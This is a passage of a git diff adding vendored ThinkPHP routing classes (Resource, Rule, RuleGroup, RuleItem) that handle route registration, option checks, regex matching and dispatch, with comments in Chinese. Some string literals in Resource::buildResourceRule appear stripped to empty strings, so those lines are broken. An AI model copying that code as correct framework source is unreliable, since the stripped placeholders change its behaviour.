$this->parent = $parent; + $this->resource = $name; + $this->route = $route; + $this->name = strpos($name, '.') ? strstr($name, '.', true) : $name; + + $this->setFullName(); + + // 资源路由默认为完整匹配 + $this->option['complete_match'] = true; + + $this->rest = $rest; + + if ($this->parent) { + $this->domain = $this->parent->getDomain(); + $this->parent->addRuleItem($this); + } + + if ($router->isTest()) { + $this->buildResourceRule(); + } + } + + /** + * 生成资源路由规则 + * @access protected + * @return void + */ + protected function buildResourceRule(): void + { + $rule = $this->resource; + $option = $this->option; + $origin = $this->router->getGroup(); + $this->router->setGroup($this); + + if (strpos($rule, '.')) { + // 注册嵌套资源路由 + $array = explode('.', $rule); + $last = array_pop($array); + $item = []; + + foreach ($array as $val) { + $item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>'; + } + + $rule = implode('/', $item) . '/' . $last; + } + + $prefix = substr($rule, strlen($this->name) + 1); + + // 注册资源路由 + foreach ($this->rest as $key => $val) { + if ((isset($option['only']) && !in_array($key, $option['only'])) + || (isset($option['except']) && in_array($key, $option['except']))) { + continue; + } + + if (isset($last) && strpos($val[1], '') && isset($option['var'][$last])) { + $val[1] = str_replace('', '<' . $option['var'][$last] . '>', $val[1]); + } elseif (strpos($val[1], '') && isset($option['var'][$rule])) { + $val[1] = str_replace('', '<' . $option['var'][$rule] . '>', $val[1]); + } + + $ruleItem = $this->addRule(trim($prefix . $val[1], '/'), $this->route . '/' . $val[2], $val[0]); + + foreach (['model', 'validate', 'middleware'] as $name) { + if (isset($this->$name[$key])) { + call_user_func_array([$ruleItem, $name], (array) $this->$name[$key]); + } + + } + } + + $this->router->setGroup($origin); + } + + /** + * 设置资源允许 + * @access public + * @param array $only 资源允许 + * @return $this + */ + public function only(array $only) + { + return $this->setOption('only', $only); + } + + /** + * 设置资源排除 + * @access public + * @param array $except 排除资源 + * @return $this + */ + public function except(array $except) + { + return $this->setOption('except', $except); + } + + /** + * 设置资源路由的变量 + * @access public + * @param array $vars 资源变量 + * @return $this + */ + public function vars(array $vars) + { + return $this->setOption('var', $vars); + } + + /** + * 绑定资源验证 + * @access public + * @param array|string $name 资源类型或者验证信息 + * @param array|string $validate 验证信息 + * @return $this + */ + public function withValidate($name, $validate = []) + { + if (is_array($name)) { + $this->validate = array_merge($this->validate, $name); + } else { + $this->validate[$name] = $validate; + } + + return $this; + } + + /** + * 绑定资源模型 + * @access public + * @param array|string $name 资源类型或者模型绑定 + * @param array|string $model 模型绑定 + * @return $this + */ + public function withModel($name, $model = []) + { + if (is_array($name)) { + $this->model = array_merge($this->model, $name); + } else { + $this->model[$name] = $model; + } + + return $this; + } + + /** + * 绑定资源模型 + * @access public + * @param array|string $name 资源类型或者中间件定义 + * @param array|string $middleware 中间件定义 + * @return $this + */ + public function withMiddleware($name, $middleware = []) + { + if (is_array($name)) { + $this->middleware = array_merge($this->middleware, $name); + } else { + $this->middleware[$name] = $middleware; + } + + return $this; + } + + /** + * rest方法定义和修改 + * @access public + * @param array|string $name 方法名称 + * @param array|bool $resource 资源 + * @return $this + */ + public function rest($name, $resource = []) + { + if (is_array($name)) { + $this->rest = $resource ? $name : array_merge($this->rest, $name); + } else { + $this->rest[$name] = $resource; + } + + return $this; + } + +} diff --git a/vendor/topthink/framework/src/think/route/Rule.php b/vendor/topthink/framework/src/think/route/Rule.php new file mode 100644 index 0000000..df99fe9 --- /dev/null +++ b/vendor/topthink/framework/src/think/route/Rule.php @@ -0,0 +1,901 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\route; + +use Closure; +use think\Container; +use think\middleware\AllowCrossDomain; +use think\middleware\CheckRequestCache; +use think\middleware\FormTokenCheck; +use think\Request; +use think\Route; +use think\route\dispatch\Callback as CallbackDispatch; +use think\route\dispatch\Controller as ControllerDispatch; + +/** + * 路由规则基础类 + */ +abstract class Rule +{ + /** + * 路由标识 + * @var string + */ + protected $name; + + /** + * 所在域名 + * @var string + */ + protected $domain; + + /** + * 路由对象 + * @var Route + */ + protected $router; + + /** + * 路由所属分组 + * @var RuleGroup + */ + protected $parent; + + /** + * 路由规则 + * @var mixed + */ + protected $rule; + + /** + * 路由地址 + * @var string|Closure + */ + protected $route; + + /** + * 请求类型 + * @var string + */ + protected $method; + + /** + * 路由变量 + * @var array + */ + protected $vars = []; + + /** + * 路由参数 + * @var array + */ + protected $option = []; + + /** + * 路由变量规则 + * @var array + */ + protected $pattern = []; + + /** + * 需要和分组合并的路由参数 + * @var array + */ + protected $mergeOptions = ['model', 'append', 'middleware']; + + abstract public function check(Request $request, string $url, bool $completeMatch = false); + + /** + * 设置路由参数 + * @access public + * @param array $option 参数 + * @return $this + */ + public function option(array $option) + { + $this->option = array_merge($this->option, $option); + + return $this; + } + + /** + * 设置单个路由参数 + * @access public + * @param string $name 参数名 + * @param mixed $value 值 + * @return $this + */ + public function setOption(string $name, $value) + { + $this->option[$name] = $value; + + return $this; + } + + /** + * 注册变量规则 + * @access public + * @param array $pattern 变量规则 + * @return $this + */ + public function pattern(array $pattern) + { + $this->pattern = array_merge($this->pattern, $pattern); + + return $this; + } + + /** + * 设置标识 + * @access public + * @param string $name 标识名 + * @return $this + */ + public function name(string $name) + { + $this->name = $name; + + return $this; + } + + /** + * 获取路由对象 + * @access public + * @return Route + */ + public function getRouter(): Route + { + return $this->router; + } + + /** + * 获取Name + * @access public + * @return string + */ + public function getName(): string + { + return $this->name ?: ''; + } + + /** + * 获取当前路由规则 + * @access public + * @return mixed + */ + public function getRule() + { + return $this->rule; + } + + /** + * 获取当前路由地址 + * @access public + * @return mixed + */ + public function getRoute() + { + return $this->route; + } + + /** + * 获取当前路由的变量 + * @access public + * @return array + */ + public function getVars(): array + { + return $this->vars; + } + + /** + * 获取Parent对象 + * @access public + * @return $this|null + */ + public function getParent() + { + return $this->parent; + } + + /** + * 获取路由所在域名 + * @access public + * @return string + */ + public function getDomain(): string + { + return $this->domain ?: $this->parent->getDomain(); + } + + /** + * 获取路由参数 + * @access public + * @param string $name 变量名 + * @return mixed + */ + public function config(string $name = '') + { + return $this->router->config($name); + } + + /** + * 获取变量规则定义 + * @access public + * @param string $name 变量名 + * @return mixed + */ + public function getPattern(string $name = '') + { + $pattern = $this->pattern; + + if ($this->parent) { + $pattern = array_merge($this->parent->getPattern(), $pattern); + } + + if ('' === $name) { + return $pattern; + } + + return $pattern[$name] ?? null; + } + + /** + * 获取路由参数定义 + * @access public + * @param string $name 参数名 + * @param mixed $default 默认值 + * @return mixed + */ + public function getOption(string $name = '', $default = null) + { + $option = $this->option; + + if ($this->parent) { + $parentOption = $this->parent->getOption(); + + // 合并分组参数 + foreach ($this->mergeOptions as $item) { + if (isset($parentOption[$item]) && isset($option[$item])) { + $option[$item] = array_merge($parentOption[$item], $option[$item]); + } + } + + $option = array_merge($parentOption, $option); + } + + if ('' === $name) { + return $option; + } + + return $option[$name] ?? $default; + } + + /** + * 获取当前路由的请求类型 + * @access public + * @return string + */ + public function getMethod(): string + { + return strtolower($this->method); + } + + /** + * 设置路由请求类型 + * @access public + * @param string $method 请求类型 + * @return $this + */ + public function method(string $method) + { + return $this->setOption('method', strtolower($method)); + } + + /** + * 检查后缀 + * @access public + * @param string $ext URL后缀 + * @return $this + */ + public function ext(string $ext = '') + { + return $this->setOption('ext', $ext); + } + + /** + * 检查禁止后缀 + * @access public + * @param string $ext URL后缀 + * @return $this + */ + public function denyExt(string $ext = '') + { + return $this->setOption('deny_ext', $ext); + } + + /** + * 检查域名 + * @access public + * @param string $domain 域名 + * @return $this + */ + public function domain(string $domain) + { + $this->domain = $domain; + return $this->setOption('domain', $domain); + } + + /** + * 设置参数过滤检查 + * @access public + * @param array $filter 参数过滤 + * @return $this + */ + public function filter(array $filter) + { + $this->option['filter'] = $filter; + + return $this; + } + + /** + * 绑定模型 + * @access public + * @param array|string|Closure $var 路由变量名 多个使用 & 分割 + * @param string|Closure $model 绑定模型类 + * @param bool $exception 是否抛出异常 + * @return $this + */ + public function model($var, $model = null, bool $exception = true) + { + if ($var instanceof Closure) { + $this->option['model'][] = $var; + } elseif (is_array($var)) { + $this->option['model'] = $var; + } elseif (is_null($model)) { + $this->option['model']['id'] = [$var, true]; + } else { + $this->option['model'][$var] = [$model, $exception]; + } + + return $this; + } + + /** + * 附加路由隐式参数 + * @access public + * @param array $append 追加参数 + * @return $this + */ + public function append(array $append = []) + { + $this->option['append'] = $append; + + return $this; + } + + /** + * 绑定验证 + * @access public + * @param mixed $validate 验证器类 + * @param string $scene 验证场景 + * @param array $message 验证提示 + * @param bool $batch 批量验证 + * @return $this + */ + public function validate($validate, string $scene = null, array $message = [], bool $batch = false) + { + $this->option['validate'] = [$validate, $scene, $message, $batch]; + + return $this; + } + + /** + * 指定路由中间件 + * @access public + * @param string|array|Closure $middleware 中间件 + * @param mixed $params 参数 + * @return $this + */ + public function middleware($middleware, ...$params) + { + if (empty($params) && is_array($middleware)) { + $this->option['middleware'] = $middleware; + } else { + foreach ((array) $middleware as $item) { + $this->option['middleware'][] = [$item, $params]; + } + } + + return $this; + } + + /** + * 允许跨域 + * @access public + * @param array $header 自定义Header + * @return $this + */ + public function allowCrossDomain(array $header = []) + { + return $this->middleware(AllowCrossDomain::class, $header); + } + + /** + * 表单令牌验证 + * @access public + * @param string $token 表单令牌token名称 + * @return $this + */ + public function token(string $token = '__token__') + { + return $this->middleware(FormTokenCheck::class, $token); + } + + /** + * 设置路由缓存 + * @access public + * @param array|string $cache 缓存 + * @return $this + */ + public function cache($cache) + { + return $this->middleware(CheckRequestCache::class, $cache); + } + + /** + * 检查URL分隔符 + * @access public + * @param string $depr URL分隔符 + * @return $this + */ + public function depr(string $depr) + { + return $this->setOption('param_depr', $depr); + } + + /** + * 设置需要合并的路由参数 + * @access public + * @param array $option 路由参数 + * @return $this + */ + public function mergeOptions(array $option = []) + { + $this->mergeOptions = array_merge($this->mergeOptions, $option); + return $this; + } + + /** + * 检查是否为HTTPS请求 + * @access public + * @param bool $https 是否为HTTPS + * @return $this + */ + public function https(bool $https = true) + { + return $this->setOption('https', $https); + } + + /** + * 检查是否为JSON请求 + * @access public + * @param bool $json 是否为JSON + * @return $this + */ + public function json(bool $json = true) + { + return $this->setOption('json', $json); + } + + /** + * 检查是否为AJAX请求 + * @access public + * @param bool $ajax 是否为AJAX + * @return $this + */ + public function ajax(bool $ajax = true) + { + return $this->setOption('ajax', $ajax); + } + + /** + * 检查是否为PJAX请求 + * @access public + * @param bool $pjax 是否为PJAX + * @return $this + */ + public function pjax(bool $pjax = true) + { + return $this->setOption('pjax', $pjax); + } + + /** + * 路由到一个模板地址 需要额外传入的模板变量 + * @access public + * @param array $view 视图 + * @return $this + */ + public function view(array $view = []) + { + return $this->setOption('view', $view); + } + + /** + * 设置路由完整匹配 + * @access public + * @param bool $match 是否完整匹配 + * @return $this + */ + public function completeMatch(bool $match = true) + { + return $this->setOption('complete_match', $match); + } + + /** + * 是否去除URL最后的斜线 + * @access public + * @param bool $remove 是否去除最后斜线 + * @return $this + */ + public function removeSlash(bool $remove = true) + { + return $this->setOption('remove_slash', $remove); + } + + /** + * 设置路由规则全局有效 + * @access public + * @return $this + */ + public function crossDomainRule() + { + if ($this instanceof RuleGroup) { + $method = '*'; + } else { + $method = $this->method; + } + + $this->router->setCrossDomainRule($this, $method); + + return $this; + } + + /** + * 解析匹配到的规则路由 + * @access public + * @param Request $request 请求对象 + * @param string $rule 路由规则 + * @param mixed $route 路由地址 + * @param string $url URL地址 + * @param array $option 路由参数 + * @param array $matches 匹配的变量 + * @return Dispatch + */ + public function parseRule(Request $request, string $rule, $route, string $url, array $option = [], array $matches = []): Dispatch + { + if (is_string($route) && isset($option['prefix'])) { + // 路由地址前缀 + $route = $option['prefix'] . $route; + } + + // 替换路由地址中的变量 + $extraParams = true; + $search = $replace = []; + $depr = $this->router->config('pathinfo_depr'); + foreach ($matches as $key => $value) { + $search[] = '<' . $key . '>'; + $replace[] = $value; + + $search[] = ':' . $key; + $replace[] = $value; + + if (strpos($value, $depr)) { + $extraParams = false; + } + } + + if (is_string($route)) { + $route = str_replace($search, $replace, $route); + } + + // 解析额外参数 + if ($extraParams) { + $count = substr_count($rule, '/'); + $url = array_slice(explode('|', $url), $count + 1); + $this->parseUrlParams(implode('|', $url), $matches); + } + + $this->vars = $matches; + + // 发起路由调度 + return $this->dispatch($request, $route, $option); + } + + /** + * 发起路由调度 + * @access protected + * @param Request $request Request对象 + * @param mixed $route 路由地址 + * @param array $option 路由参数 + * @return Dispatch + */ + protected function dispatch(Request $request, $route, array $option): Dispatch + { + if (is_subclass_of($route, Dispatch::class)) { + $result = new $route($request, $this, $route, $this->vars); + } elseif ($route instanceof Closure) { + // 执行闭包 + $result = new CallbackDispatch($request, $this, $route, $this->vars); + } elseif (false !== strpos($route, '@') || false !== strpos($route, '::') || false !== strpos($route, '\\')) { + // 路由到类的方法 + $route = str_replace('::', '@', $route); + $result = $this->dispatchMethod($request, $route); + } else { + // 路由到控制器/操作 + $result = $this->dispatchController($request, $route); + } + + return $result; + } + + /** + * 解析URL地址为 模块/控制器/操作 + * @access protected + * @param Request $request Request对象 + * @param string $route 路由地址 + * @return CallbackDispatch + */ + protected function dispatchMethod(Request $request, string $route): CallbackDispatch + { + $path = $this->parseUrlPath($route); + + $route = str_replace('/', '@', implode('/', $path)); + $method = strpos($route, '@') ? explode('@', $route) : $route; + + return new CallbackDispatch($request, $this, $method, $this->vars); + } + + /** + * 解析URL地址为 模块/控制器/操作 + * @access protected + * @param Request $request Request对象 + * @param string $route 路由地址 + * @return ControllerDispatch + */ + protected function dispatchController(Request $request, string $route): ControllerDispatch + { + $path = $this->parseUrlPath($route); + + $action = array_pop($path); + $controller = !empty($path) ? array_pop($path) : null; + + // 路由到模块/控制器/操作 + return new ControllerDispatch($request, $this, [$controller, $action], $this->vars); + } + + /** + * 路由检查 + * @access protected + * @param array $option 路由参数 + * @param Request $request Request对象 + * @return bool + */ + protected function checkOption(array $option, Request $request): bool + { + // 请求类型检测 + if (!empty($option['method'])) { + if (is_string($option['method']) && false === stripos($option['method'], $request->method())) { + return false; + } + } + + // AJAX PJAX 请求检查 + foreach (['ajax', 'pjax', 'json'] as $item) { + if (isset($option[$item])) { + $call = 'is' . $item; + if ($option[$item] && !$request->$call() || !$option[$item] && $request->$call()) { + return false; + } + } + } + + // 伪静态后缀检测 + if ($request->url() != '/' && ((isset($option['ext']) && false === stripos('|' . $option['ext'] . '|', '|' . $request->ext() . '|')) + || (isset($option['deny_ext']) && false !== stripos('|' . $option['deny_ext'] . '|', '|' . $request->ext() . '|')))) { + return false; + } + + // 域名检查 + if ((isset($option['domain']) && !in_array($option['domain'], [$request->host(true), $request->subDomain()]))) { + return false; + } + + // HTTPS检查 + if ((isset($option['https']) && $option['https'] && !$request->isSsl()) + || (isset($option['https']) && !$option['https'] && $request->isSsl())) { + return false; + } + + // 请求参数检查 + if (isset($option['filter'])) { + foreach ($option['filter'] as $name => $value) { + if ($request->param($name, '', null) != $value) { + return false; + } + } + } + + return true; + } + + /** + * 解析URL地址中的参数Request对象 + * @access protected + * @param string $rule 路由规则 + * @param array $var 变量 + * @return void + */ + protected function parseUrlParams(string $url, array &$var = []): void + { + if ($url) { + preg_replace_callback('/(\w+)\|([^\|]+)/', function ($match) use (&$var) { + $var[$match[1]] = strip_tags($match[2]); + }, $url); + } + } + + /** + * 解析URL的pathinfo参数 + * @access public + * @param string $url URL地址 + * @return array + */ + public function parseUrlPath(string $url): array + { + // 分隔符替换 确保路由定义使用统一的分隔符 + $url = str_replace('|', '/', $url); + $url = trim($url, '/'); + + if (strpos($url, '/')) { + // [控制器/操作] + $path = explode('/', $url); + } else { + $path = [$url]; + } + + return $path; + } + + /** + * 生成路由的正则规则 + * @access protected + * @param string $rule 路由规则 + * @param array $match 匹配的变量 + * @param array $pattern 路由变量规则 + * @param array $option 路由参数 + * @param bool $completeMatch 路由是否完全匹配 + * @param string $suffix 路由正则变量后缀 + * @return string + */ + protected function buildRuleRegex(string $rule, array $match, array $pattern = [], array $option = [], bool $completeMatch = false, string $suffix = ''): string + { + foreach ($match as $name) { + $replace[] = $this->buildNameRegex($name, $pattern, $suffix); + } + + // 是否区分 / 地址访问 + if ('/' != $rule) { + if (!empty($option['remove_slash'])) { + $rule = rtrim($rule, '/'); + } elseif (substr($rule, -1) == '/') { + $rule = rtrim($rule, '/'); + $hasSlash = true; + } + } + + $regex = str_replace(array_unique($match), array_unique($replace), $rule); + $regex = str_replace([')?/', ')/', ')?-', ')-', '\\\\/'], [')\/', ')\/', ')\-', ')\-', '\/'], $regex); + + if (isset($hasSlash)) { + $regex .= '\/'; + } + + return $regex . ($completeMatch ? '$' : ''); + } + + /** + * 生成路由变量的正则规则 + * @access protected + * @param string $name 路由变量 + * @param array $pattern 变量规则 + * @param string $suffix 路由正则变量后缀 + * @return string + */ + protected function buildNameRegex(string $name, array $pattern, string $suffix): string + { + $optional = ''; + $slash = substr($name, 0, 1); + + if (in_array($slash, ['/', '-'])) { + $prefix = '\\' . $slash; + $name = substr($name, 1); + $slash = substr($name, 0, 1); + } else { + $prefix = ''; + } + + if ('<' != $slash) { + return $prefix . preg_quote($name, '/'); + } + + if (strpos($name, '?')) { + $name = substr($name, 1, -2); + $optional = '?'; + } elseif (strpos($name, '>')) { + $name = substr($name, 1, -1); + } + + if (isset($pattern[$name])) { + $nameRule = $pattern[$name]; + if (0 === strpos($nameRule, '/') && '/' == substr($nameRule, -1)) { + $nameRule = substr($nameRule, 1, -1); + } + } else { + $nameRule = $this->router->config('default_route_pattern'); + } + + return '(' . $prefix . '(?<' . $name . $suffix . '>' . $nameRule . '))' . $optional; + } + + /** + * 设置路由参数 + * @access public + * @param string $method 方法名 + * @param array $args 调用参数 + * @return $this + */ + public function __call($method, $args) + { + if (count($args) > 1) { + $args[0] = $args; + } + array_unshift($args, $method); + + return call_user_func_array([$this, 'setOption'], $args); + } + + public function __sleep() + { + return ['name', 'rule', 'route', 'method', 'vars', 'option', 'pattern']; + } + + public function __wakeup() + { + $this->router = Container::pull('route'); + } + + public function __debugInfo() + { + return [ + 'name' => $this->name, + 'rule' => $this->rule, + 'route' => $this->route, + 'method' => $this->method, + 'vars' => $this->vars, + 'option' => $this->option, + 'pattern' => $this->pattern, + ]; + } +} diff --git a/vendor/topthink/framework/src/think/route/RuleGroup.php b/vendor/topthink/framework/src/think/route/RuleGroup.php new file mode 100644 index 0000000..94bf2b9 --- /dev/null +++ b/vendor/topthink/framework/src/think/route/RuleGroup.php @@ -0,0 +1,505 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\route; + +use Closure; +use think\Container; +use think\Exception; +use think\Request; +use think\Route; + +/** + * 路由分组类 + */ +class RuleGroup extends Rule +{ + /** + * 分组路由(包括子分组) + * @var array + */ + protected $rules = []; + + /** + * 分组路由规则 + * @var mixed + */ + protected $rule; + + /** + * MISS路由 + * @var RuleItem + */ + protected $miss; + + /** + * 完整名称 + * @var string + */ + protected $fullName; + + /** + * 分组别名 + * @var string + */ + protected $alias; + + /** + * 架构函数 + * @access public + * @param Route $router 路由对象 + * @param RuleGroup $parent 上级对象 + * @param string $name 分组名称 + * @param mixed $rule 分组路由 + */ + public function __construct(Route $router, RuleGroup $parent = null, string $name = '', $rule = null) + { + $this->router = $router; + $this->parent = $parent; + $this->rule = $rule; + $this->name = trim($name, '/'); + + $this->setFullName(); + + if ($this->parent) { + $this->domain = $this->parent->getDomain(); + $this->parent->addRuleItem($this); + } + + if ($router->isTest()) { + $this->lazy(false); + } + } + + /** + * 设置分组的路由规则 + * @access public + * @return void + */ + protected function setFullName(): void + { + if (false !== strpos($this->name, ':')) { + $this->name = preg_replace(['/\[\:(\w+)\]/', '/\:(\w+)/'], ['<\1?>', '<\1>'], $this->name); + } + + if ($this->parent && $this->parent->getFullName()) { + $this->fullName = $this->parent->getFullName() . ($this->name ? '/' . $this->name : ''); + } else { + $this->fullName = $this->name; + } + + if ($this->name) { + $this->router->getRuleName()->setGroup($this->name, $this); + } + } + + /** + * 获取所属域名 + * @access public + * @return string + */ + public function getDomain(): string + { + return $this->domain ?: '-'; + } + + /** + * 获取分组别名 + * @access public + * @return string + */ + public function getAlias(): string + { + return $this->alias ?: ''; + } + + /** + * 检测分组路由 + * @access public + * @param Request $request 请求对象 + * @param string $url 访问地址 + * @param bool $completeMatch 路由是否完全匹配 + * @return Dispatch|false + */ + public function check(Request $request, string $url, bool $completeMatch = false) + { + // 检查分组有效性 + if (!$this->checkOption($this->option, $request) || !$this->checkUrl($url)) { + return false; + } + + // 解析分组路由 + if ($this instanceof Resource) { + $this->buildResourceRule(); + } else { + $this->parseGroupRule($this->rule); + } + + // 获取当前路由规则 + $method = strtolower($request->method()); + $rules = $this->getRules($method); + $option = $this->getOption(); + + if (isset($option['complete_match'])) { + $completeMatch = $option['complete_match']; + } + + if (!empty($option['merge_rule_regex'])) { + // 合并路由正则规则进行路由匹配检查 + $result = $this->checkMergeRuleRegex($request, $rules, $url, $completeMatch); + + if (false !== $result) { + return $result; + } + } + + // 检查分组路由 + foreach ($rules as $key => $item) { + $result = $item[1]->check($request, $url, $completeMatch); + + if (false !== $result) { + return $result; + } + } + + if ($this->miss && in_array($this->miss->getMethod(), ['*', $method])) { + // 未匹配所有路由的路由规则处理 + $result = $this->parseRule($request, '', $this->miss->getRoute(), $url, $this->miss->getOption()); + } else { + $result = false; + } + + return $result; + } + + /** + * 分组URL匹配检查 + * @access protected + * @param string $url URL + * @return bool + */ + protected function checkUrl(string $url): bool + { + if ($this->fullName) { + $pos = strpos($this->fullName, '<'); + + if (false !== $pos) { + $str = substr($this->fullName, 0, $pos); + } else { + $str = $this->fullName; + } + + if ($str && 0 !== stripos(str_replace('|', '/', $url), $str)) { + return false; + } + } + + return true; + } + + /** + * 设置路由分组别名 + * @access public + * @param string $alias 路由分组别名 + * @return $this + */ + public function alias(string $alias) + { + $this->alias = $alias; + $this->router->getRuleName()->setGroup($alias, $this); + + return $this; + } + + /** + * 延迟解析分组的路由规则 + * @access public + * @param bool $lazy 路由是否延迟解析 + * @return $this + */ + public function lazy(bool $lazy = true) + { + if (!$lazy) { + $this->parseGroupRule($this->rule); + $this->rule = null; + } + + return $this; + } + + /** + * 解析分组和域名的路由规则及绑定 + * @access public + * @param mixed $rule 路由规则 + * @return void + */ + public function parseGroupRule($rule): void + { + $origin = $this->router->getGroup(); + $this->router->setGroup($this); + + if ($rule instanceof \Closure) { + Container::getInstance()->invokeFunction($rule); + } elseif (is_string($rule) && $rule) { + $this->router->bind($rule, $this->domain); + } + + $this->router->setGroup($origin); + } + + /** + * 检测分组路由 + * @access public + * @param Request $request 请求对象 + * @param array $rules 路由规则 + * @param string $url 访问地址 + * @param bool $completeMatch 路由是否完全匹配 + * @return Dispatch|false + */ + protected function checkMergeRuleRegex(Request $request, array &$rules, string $url, bool $completeMatch) + { + $depr = $this->router->config('pathinfo_depr'); + $url = $depr . str_replace('|', $depr, $url); + $regex = []; + $items = []; + + foreach ($rules as $key => $val) { + $item = $val[1]; + if ($item instanceof RuleItem) { + $rule = $depr . str_replace('/', $depr, $item->getRule()); + if ($depr == $rule && $depr != $url) { + unset($rules[$key]); + continue; + } + + $complete = $item->getOption('complete_match', $completeMatch); + + if (false === strpos($rule, '<')) { + if (0 === strcasecmp($rule, $url) || (!$complete && 0 === strncasecmp($rule, $url, strlen($rule)))) { + return $item->checkRule($request, $url, []); + } + + unset($rules[$key]); + continue; + } + + $slash = preg_quote('/-' . $depr, '/'); + + if ($matchRule = preg_split('/[' . $slash . ']<\w+\??>/', $rule, 2)) { + if ($matchRule[0] && 0 !== strncasecmp($rule, $url, strlen($matchRule[0]))) { + unset($rules[$key]); + continue; + } + } + + if (preg_match_all('/[' . $slash . ']??/', $rule, $matches)) { + unset($rules[$key]); + $pattern = array_merge($this->getPattern(), $item->getPattern()); + $option = array_merge($this->getOption(), $item->getOption()); + + $regex[$key] = $this->buildRuleRegex($rule, $matches[0], $pattern, $option, $complete, '_THINK_' . $key); + $items[$key] = $item; + } + } + } + + if (empty($regex)) { + return false; + } + + try { + $result = preg_match('/^(?:' . implode('|', $regex) . ')/u', $url, $match); + } catch (\Exception $e) { + throw new Exception('route pattern error'); + } + + if ($result) { + $var = []; + foreach ($match as $key => $val) { + if (is_string($key) && '' !== $val) { + [$name, $pos] = explode('_THINK_', $key); + + $var[$name] = $val; + } + } + + if (!isset($pos)) { + foreach ($regex as $key => $item) { + if (0 === strpos(str_replace(['\/', '\-', '\\' . $depr], ['/', '-', $depr], $item), $match[0])) { + $pos = $key; + break; + } + } + } + + $rule = $items[$pos]->getRule(); + $array = $this->router->getRule($rule); + + foreach ($array as $item) { + if (in_array($item->getMethod(), ['*', strtolower($request->method())])) { + $result = $item->checkRule($request, $url, $var); + + if (false !== $result) { + return $result; + } + } + } + } + + return false; + } + + /** + * 获取分组的MISS路由 + * @access public + * @return RuleItem|null + */ + public function getMissRule(): ? RuleItem + { + return $this->miss; + } + + /** + * 注册MISS路由 + * @access public + * @param string|Closure $route 路由地址 + * @param string $method 请求类型 + * @return RuleItem + */ + public function miss($route, string $method = '*') : RuleItem + { + // 创建路由规则实例 + $ruleItem = new RuleItem($this->router, $this, null, '', $route, strtolower($method)); + + $ruleItem->setMiss(); + $this->miss = $ruleItem; + + return $ruleItem; + } + + /** + * 添加分组下的路由规则 + * @access public + * @param string $rule 路由规则 + * @param mixed $route 路由地址 + * @param string $method 请求类型 + * @return RuleItem + */ + public function addRule(string $rule, $route = null, string $method = '*'): RuleItem + { + // 读取路由标识 + if (is_string($route)) { + $name = $route; + } else { + $name = null; + } + + $method = strtolower($method); + + if ('' === $rule || '/' === $rule) { + $rule .= '$'; + } + + // 创建路由规则实例 + $ruleItem = new RuleItem($this->router, $this, $name, $rule, $route, $method); + + $this->addRuleItem($ruleItem, $method); + + return $ruleItem; + } + + /** + * 注册分组下的路由规则 + * @access public + * @param Rule $rule 路由规则 + * @param string $method 请求类型 + * @return $this + */ + public function addRuleItem(Rule $rule, string $method = '*') + { + if (strpos($method, '|')) { + $rule->method($method); + $method = '*'; + } + + $this->rules[] = [$method, $rule]; + + if ($rule instanceof RuleItem && 'options' != $method) { + $this->rules[] = ['options', $rule->setAutoOptions()]; + } + + return $this; + } + + /** + * 设置分组的路由前缀 + * @access public + * @param string $prefix 路由前缀 + * @return $this + */ + public function prefix(string $prefix) + { + if ($this->parent && $this->parent->getOption('prefix')) { + $prefix = $this->parent->getOption('prefix') . $prefix; + } + + return $this->setOption('prefix', $prefix); + } + + /** + * 合并分组的路由规则正则 + * @access public + * @param bool $merge 是否合并 + * @return $this + */ + public function mergeRuleRegex(bool $merge = true) + { + return $this->setOption('merge_rule_regex', $merge); + } + + /** + * 获取完整分组Name + * @access public + * @return string + */ + public function getFullName(): string + { + return $this->fullName ?: ''; + } + + /** + * 获取分组的路由规则 + * @access public + * @param string $method 请求类型 + * @return array + */ + public function getRules(string $method = ''): array + { + if ('' === $method) { + return $this->rules; + } + + return array_filter($this->rules, function ($item) use ($method) { + return $method == $item[0] || '*' == $item[0]; + }); + } + + /** + * 清空分组下的路由规则 + * @access public + * @return void + */ + public function clear(): void + { + $this->rules = []; + } +} diff --git a/vendor/topthink/framework/src/think/route/RuleItem.php b/vendor/topthink/framework/src/think/route/RuleItem.php new file mode 100644 index 0000000..3ca4885 --- /dev/null +++ b/vendor/topthink/framework/src/think/route/RuleItem.php @@ -0,0 +1,330 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\route; + +use think\Exception; +use think\Request; +use think\Route; + +/** + * 路由规则类 + */ +class RuleItem extends Rule +{ + /** + * 是否为MISS规则 + * @var bool + */ + protected $miss = false; + + /** + * 是否为额外自动注册的OPTIONS规则 + * @var bool + */ + protected $autoOption = false; + + /** + * 架构函数 + * @access public + * @param Route $router 路由实例 + * @param RuleGroup $parent 上级对象 + * @param string $name 路由标识 + * @param string $rule 路由规则 + * @param string|\Closure $route 路由地址 + * @param string $method 请求类型 + */ + public function __construct(Route $router, RuleGroup $parent, string $name = null, string $rule = '', $route = null, string $method = '*') + { + $this->router = $router; + $this->parent = $parent; + $this->name = $name; + $this->route = $route; + $this->method = $method; + + $this->setRule($rule); + + $this->router->setRule($this->rule, $this); + } + + /** + * 设置当前路由规则为MISS路由 + * @access public + * @return $this + */ + public function setMiss() + { + $this->miss = true; + return $this; + } + + /** + * 判断当前路由规则是否为MISS路由 + * @access public + * @return bool + */ + public function isMiss(): bool + { + return $this->miss; + } + + /** + * 设置当前路由为自动注册OPTIONS + * @access public + * @return $this + */ + public function setAutoOptions() + { + $this->autoOption = true; + return $this; + } + + /** + * 判断当前路由规则是否为自动注册的OPTIONS路由 + * @access public + * @return bool + */ + public function isAutoOptions(): bool + { + return $this->autoOption; + } + + /** + * 获取当前路由的URL后缀 + * @access public + * @return string|null + */ + public function getSuffix() + { + if (isset($this->option['ext'])) { + $suffix = $this->option['ext']; + } elseif ($this->parent->getOption('ext')) { + $suffix = $this->parent->getOption('ext'); + } else { + $suffix = null; + } + + return $suffix; + } + + /** + * 路由规则预处理 + * @access public + * @param string $rule 路由规则 + * @return void + */ + public function setRule(string $rule): void + { + if ('$' == substr($rule, -1, 1)) { + // 是否完整匹配 + $rule = substr($rule, 0, -1); + + $this->option['complete_match'] = true; + } + + $rule = '/' != $rule ? ltrim($rule, '/') : ''; + + if ($this->parent && $prefix = $this->parent->getFullName()) { + $rule = $prefix . ($rule ? '/' . ltrim($rule, '/') : ''); + } + + if (false !== strpos($rule, ':')) { + $this->rule = preg_replace(['/\[\:(\w+)\]/', '/\:(\w+)/'], ['<\1?>', '<\1>'], $rule); + } else { + $this->rule 